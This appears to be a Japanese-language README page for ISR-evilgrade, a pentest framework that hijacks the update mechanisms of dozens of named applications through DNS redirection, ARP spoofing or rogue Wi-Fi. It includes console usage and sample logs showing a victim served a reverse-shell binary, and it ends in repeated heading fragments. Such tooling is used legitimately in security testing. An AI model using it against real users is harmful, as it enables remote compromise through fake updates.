Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [概要] ::.

Evilgradeは、モジュール式フレームワークであり、ユーザーが偽のアップデートを注入することで、貧弱なアップグレード実装を悪用することを可能にします。事前に作成されたバイナリ（エージェント）、高速なペンテストのための動作するデフォルト設定が付属しており、独自のWebサーバーおよびDNSサーバーモジュールを持っています。新しい設定のセットアップが容易で、新しいバイナリエージェントが設定されると自動設定機能があります。

* いつevilgradeを使用すべきですか？

このフレームワークは、攻撃者がホスト名のリダイレクト（被害者のDNSトラフィックの操作）を行える場合に使用されます。これは以下の2つのシナリオで実行できます。

内部シナリオ:

内部DNSアクセス
ARPスプーフィング
DNSキャッシュポイズニング
DHCPスプーフィング
TCPハイジャッキング
Wi-Fiアクセスポイントのなりすまし

外部シナリオ:

内部DNSアクセス
DNSキャッシュポイズニング

* どのように動作しますか？

Evilgradeはモジュールで動作します。各モジュールには、特定のアプリケーション/システムの偽のアップデートをエミュレートするために必要な実装構造があります。

* どのOSがサポートされていますか？

ISR-Evilgradeはクロスプラットフォームであり、適切なターゲットプラットフォームに適したペイロードを用意することだけが必要です。

実装済みモジュール:

Freerip 3.30
Jet photo 4.7.2
Teamviewer 5.1.9385
ISOpen 4.5.0
Istat.
Gom 2.1.25.5015
Atube catcher 1.0.300
Vidbox 7.5
Ccleaner 2.30.1130
Fcleaner 1.2.9.409
Allmynotes 1.26
Notepad++ 5.8.2
Java 1.6.0_22 winxp/win7
aMSN 0.98.3
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
Mirc 7.14
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
Dap 9.5.0.3
Winscp 4.2.9
AutoIt Script 3.3.6.1
Clamwin 0.96.0.1
AppTapp Installer 3.11 (Iphone/Itunes)
getjar (facebook.com)
Google Analytics Javascript injection
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
Winamp 5.581
TechTracker (cnet) 1.3.1 (Build 55)
Nokiasoftware firmware update 2.4.8es - (Windows software)
Nokia firmware v20.2.011
BSplayer 2.53.1034
Apt ( < Ubuntu 10.04 LTS)
Ubertwitter 4.6 (0.971)
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
Cpan 1.9402
VirtualBox (3.2.8 )
Express talk
Filezilla
Flashget
Miranda
Orbit
Photoscape.
Panda Antirootkit
Skype
Sunbelt
Superantispyware
Trillian <= 5.0.0.26
Adium 1.3.10 (Sparkle Framework)
VMware
more...

/docs/CHANGES

.:: [主な使用方法] ::.

これはIOSコンソールと同様に動作します。``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

## 実装済みモジュール一覧``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

指定されたモジュールを構成する``` console

evilgrade>conf sunjava evilgrade(sunjava)>

#### 全てのVirtualHostを表示します。
#### VirtualHostフィールドには、Webサーバーがエミュレートするドメインが含まれます。``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

現在のモジュールのオプションを表示します。

agent: これは私たちの偽のアップデートバイナリです。その場所へのパスを設定するか、動的な偽のアップデートバイナリ生成を実装する必要があります（ADVANCEDを参照）。``` console

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

#### サービスを開始 (DNS Server と WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

ステータスと被害者のログを表示``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

## .:: [詳細な使用方法] ::.

### コマンド
#### configure / conf - <module-name>の設定

例：
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>

evilgrade>conf sunjava
evilgrade(sunjava)>

## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>


##
reload    - Reload to get all modules update (to refresh loaded modules, useful on development)
start     - Start webserver
stop      - Stop webserver (fake update server)

例: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#######################################

Example:

evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]

#######################################

restart - Restart services (WebServer and DNS Server) stops and starts again

#######################################

status - Get webserver and victims status

evilgrade

人気

.:: [概要] ::.

* いつevilgradeを使用すべきですか？

内部シナリオ:

外部シナリオ:

* どのように動作しますか？

* どのOSがサポートされていますか？

実装済みモジュール:

.:: [主な使用方法] ::.

指定されたモジュールを構成する``` console

現在のモジュールのオプションを表示します。

agent: これは私たちの偽のアップデートバイナリです。その場所へのパスを設定するか、動的な偽のアップデートバイナリ生成を実装する必要があります（ADVANCEDを参照）。``` console

Display options:

ステータスと被害者のログを表示``` console

Users status:

Example: